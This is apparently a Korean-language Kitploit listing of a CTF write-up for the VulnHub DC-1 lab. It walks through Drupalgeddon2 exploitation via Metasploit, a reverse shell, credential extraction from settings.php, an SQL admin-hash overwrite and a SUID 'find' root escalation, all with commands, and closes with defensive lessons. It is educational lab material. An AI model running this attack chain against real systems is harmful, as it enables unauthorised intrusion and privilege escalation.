Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
VulnHub-DC1-Writeup — VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)을 악용한 RCE, settings.php에서 DB 자격 증명 추출, 관리자 비밀번호 해시 위조, SUID find를 통한 루트 권한 상승. | Kitploit
도구/GitHubGitHub/prapul1/vulnhub-dc1-writeup
Privilege EscalationReconnaissanceExploit FrameworksPort ScanningVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingMisconfigurationLearning & Education
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubprapul1/vulnhub-dc1-writeup

VulnHub-DC1-Writeup

VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)을 악용한 RCE, settings.php에서 DB 자격 증명 추출, 관리자 비밀번호 해시 위조, SUID find를 통한 루트 권한 상승.

저장소 보기

VulnHub-DC1-Writeup

"침투 테스트 실습 라이트업 — 정찰부터 루트까지의 전체 공격 체인을 문서화합니다."

🔓 VulnHub — DC-1 Boot-to-Root 라이트업

난이도: 초급–중급
플랫폼: VulnHub
목표: 4개의 모든 플래그를 획득하고 완전한 루트 권한 장악
공격자 OS: Kali Linux (VirtualBox — NAT Network)
대상 OS: Debian Linux (Drupal 7 CMS)


📌 목차

  1. 실습 환경 구성
  2. 정찰 및 정보 수집
  3. 익스플로잇 — 원격 코드 실행
  4. 익스플로잇 이후 — 셸 안정화
  5. 플래그 1 — 웹 서버 열거
  6. 플래그 2 — 데이터베이스 자격 증명 추출
  7. 플래그 3 — 해시 조작을 통한 관리자 패널 접근
  8. 플래그 4 및 루트 — SUID 권한 상승
  9. 기술 및 도구 요약
  10. 핵심 시사점

🛠 실습 환경 구성

구성 요소상세 내용
하이퍼바이저VirtualBox
네트워크 모드NAT Network (두 VM 모두 동일한 서브넷)
공격자 머신Kali Linux
대상 머신DC-1 (VulnHub)
대상 IP10.0.2.3 (arp-scan으로 발견)

두 가상 머신 모두 VirtualBox에서 동일한 NAT Network 아래 구성되어, 격리된 실습 환경을 유지하면서 VM 간 통신을 가능하게 했습니다.


🔍 정찰 및 정보 수집

호스트 발견

로컬 서브넷의 모든 활성 호스트를 식별하기 위해 arp-scan을 사용했습니다:

root@kitploit:~
sudo arp-scan -l

결과: 대상이 10.0.2.3으로 식별됨

서비스 및 포트 스캐닝

버전 감지 및 기본 스크립트로 전체 Nmap 스캔을 실행했습니다:

root@kitploit:~
sudo nmap -sV -sC 10.0.2.3

주요 발견 사항:

포트서비스버전
22/tcpSSHOpenSSH 6.0p1
80/tcpHTTPApache 2.2.22
111/tcprpcbind—

🔑 중요: Nmap은 HTTP generator 헤더를 통해 웹 애플리케이션을 Drupal 7로 명확히 식별했습니다 — 알려진 취약한 CMS 버전임을 확인한 것입니다.


💥 익스플로잇 — 원격 코드 실행

취약점: Drupalgeddon2 (CVE-2018-7600)

Drupal 7은 Form API의 치명적인 원격 코드 실행(RCE) 취약점의 영향을 받습니다. 인증되지 않은 공격자가 조작된 HTTP 요청을 보내면 백엔드가 이를 시스템 명령으로 실행합니다 — 어떠한 인증도 필요하지 않습니다.

Metasploit Framework 실행:

root@kitploit:~
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

결과: www-data(웹 서버 프로세스 사용자) 권한으로 Meterpreter 리버스 셸이 성공적으로 열렸습니다.


🐚 익스플로잇 이후 — 셸 안정화

Meterpreter에서 네이티브 Linux 셸로 드롭한 후 Python PTY를 사용하여 셸을 안정화했습니다:

root@kitploit:~
shell
python -c 'import pty; pty.spawn("/bin/bash")'

결과: /var/www 내부에서 www-data@DC-1 권한의 완전한 대화형 bash 셸 확보


🚩 플래그 1 — 웹 서버 열거

root@kitploit:~
ls -la /var/www
cat flag1.txt

플래그 1 내용:

root@kitploit:~
모든 좋은 CMS에는 설정 파일이 필요합니다 - 당신에게도 필요합니다.

💡 힌트: Drupal 설정 파일인 settings.php를 직접적으로 가리킵니다.


🚩 플래그 2 — 데이터베이스 자격 증명 추출

Drupal 설정 디렉터리로 이동하여 설정 파일을 확인했습니다:

root@kitploit:~
cd /var/www/sites/default
cat settings.php

$databases 배열에 포함된 자격 증명 발견:

필드값
데이터베이스drupaldb
사용자 이름dbuser
비밀번호R0ck3t

플래그 2 내용(파일 주석에서):

root@kitploit:~
무차별 대입(brute force) 및 사전 공격만이 접근 권한을 얻는 유일한 방법은 아닙니다
(그리고 당신은 접근 권한이 반드시 필요할 것입니다). 이 자격 증명으로 무엇을 할 수 있을까요?

💡 힌트: 어떤 무차별 대입 공격도 없이 자격 증명을 사용하여 MySQL 백엔드에 접근하세요.


🚩 플래그 3 — 해시 조작을 통한 관리자 패널 접근

1단계: 데이터베이스 열거

root@kitploit:~
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

admin과 fred의 해시된 비밀번호를 찾았습니다 — 둘 다 Drupal의 $S$ 해싱 체계(SHA-512 기반)를 사용합니다.

2단계: 사용자 지정 비밀번호 해시 위조

기존 해시를 크래킹하는 대신, Drupal 자체 내장 PHP 스크립트를 사용하여 새 해시를 생성했습니다:

root@kitploit:~
cd /var/www
php scripts/password-hash.sh password123

출력: password123에 대한 유효한 $S$D... 해시

3단계: SQL을 통한 관리자 비밀번호 덮어쓰기

root@kitploit:~
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

http://10.0.2.3에 admin / password123으로 성공적으로 로그인했습니다.

플래그 3 내용(Drupal 관리자 콘텐츠 패널에서 발견):

root@kitploit:~
특수 PERMS는 passwd를 FIND하는 데 도움이 될 것입니다 - 하지만 shadow 안에 있는
무언가를 얻는 방법을 알아내려면 그 명령을 -exec로 실행해야 합니다.

💡 힌트: find 명령의 SUID 바이너리 잘못된 구성 — 권한 상승 벡터 식별됨.


🚩 플래그 4 및 루트 — SUID 권한 상승

1단계: 시스템 사용자 열거

root@kitploit:~
cat /etc/passwd

홈 디렉터리가 /home/flag4인 사용자 flag4를 찾았습니다.

root@kitploit:~
cat /home/flag4/flag4.txt

플래그 4 내용:

root@kitploit:~
root에 있는 플래그를 찾거나 접근하는 데 이와 동일한 방법을 사용할 수 있나요?
아마도요. 하지만 그렇게 쉽지 않을 수도 있습니다. 아니면 쉬울 수도 있고요?

2단계: find를 통한 SUID 익스플로잇

find 바이너리에 SUID 비트가 설정되어 있어, 실행하는 사람이 누구든 파일 소유자(root)의 권한으로 실행됩니다.

root@kitploit:~
find . -exec /bin/sh \;
whoami
# root

3단계: 루트 플래그

root@kitploit:~
cd /root
cat thefinalflag.txt
root@kitploit:~
정말 잘했습니다!!! DC-1을 즐기셨기를 바랍니다!

완전한 루트 장악 달성. ✅


🛠 기술 및 도구 요약

사용된 도구

시연된 기술

  • ✅ 네트워크 정찰 및 호스트 발견
  • ✅ 서비스 핑거프린팅 및 CMS 식별
  • ✅ CVE 연구 및 공개 익스플로잇 활용
  • ✅ Metasploit Framework — 페이로드 배포
  • ✅ 익스플로잇 이후 작업 및 측면 이동
  • ✅ 데이터베이스 열거 및 자격 증명 추출
  • ✅ 비밀번호 해시 위조 및 CLI를 통한 SQL 인젝션
  • ✅ Linux SUID 바이너리 감사
  • ✅ 루트로의 권한 상승

📚 핵심 시사점

공격자 관점에서:

  • 패치되지 않은 CMS 플랫폼(주요 버전 1~2개 뒤처진 경우도 포함)은 공개 CVE와 Metasploit 모듈을 통해 쉽게 익스플로잇될 수 있습니다.
  • settings.php와 같은 설정 파일에는 일반 텍스트 자격 증명이 자주 포함되어 있어, 공격자가 웹 접근 권한에서 데이터베이스 완전 제어로 전환(pivot)할 수 있게 합니다.
  • find, vim 또는 python과 같은 일반적인 바이너리의 SUID 잘못된 구성은 Linux 환경에서 가장 신뢰할 수 있는 권한 상승 벡터 중 하나입니다.

방어자 관점에서:

  • CMS 플랫폼은 항상 신속하게 패치하세요 — Drupalgeddon2에는 패치가 이미 존재했습니다; 취약점은 패치 적용이 지연된 것이었습니다.
  • 비밀(DB 자격 증명)은 암호화나 환경 변수 추상화 없이 웹에서 접근 가능한 설정 파일에 절대 저장해서는 안 됩니다.
  • SUID 바이너리를 정기적으로 감사하세요: find / -perm -4000 -type f 2>/dev/null은 모든 Linux 강화 체크리스트의 일부가 되어야 합니다.

⚠️ 면책 조항

이 라이트업은 strictly 교육 목적으로만 작성되었으며, 격리된 합법적인 실습 환경에서 수행된 활동을 기록합니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해 이러한 기술을 시도하지 마십시오.


작성자: Prapul | TryHackMe 프로필 | GitHub

도구 다운로드
도구용도
arp-scan로컬 서브넷 호스트 발견
nmap포트 스캐닝 및 서비스 핑거프린팅
Metasploit FrameworkCVE-2018-7600 익스플로잇 전달 및 리버스 셸
MySQL CLI데이터베이스 열거 및 자격 증명 조작
PHP (password-hash.sh)네이티브 Drupal 해시 생성
Python PTY셸 안정화
VirtualBox격리된 실습 환경 구성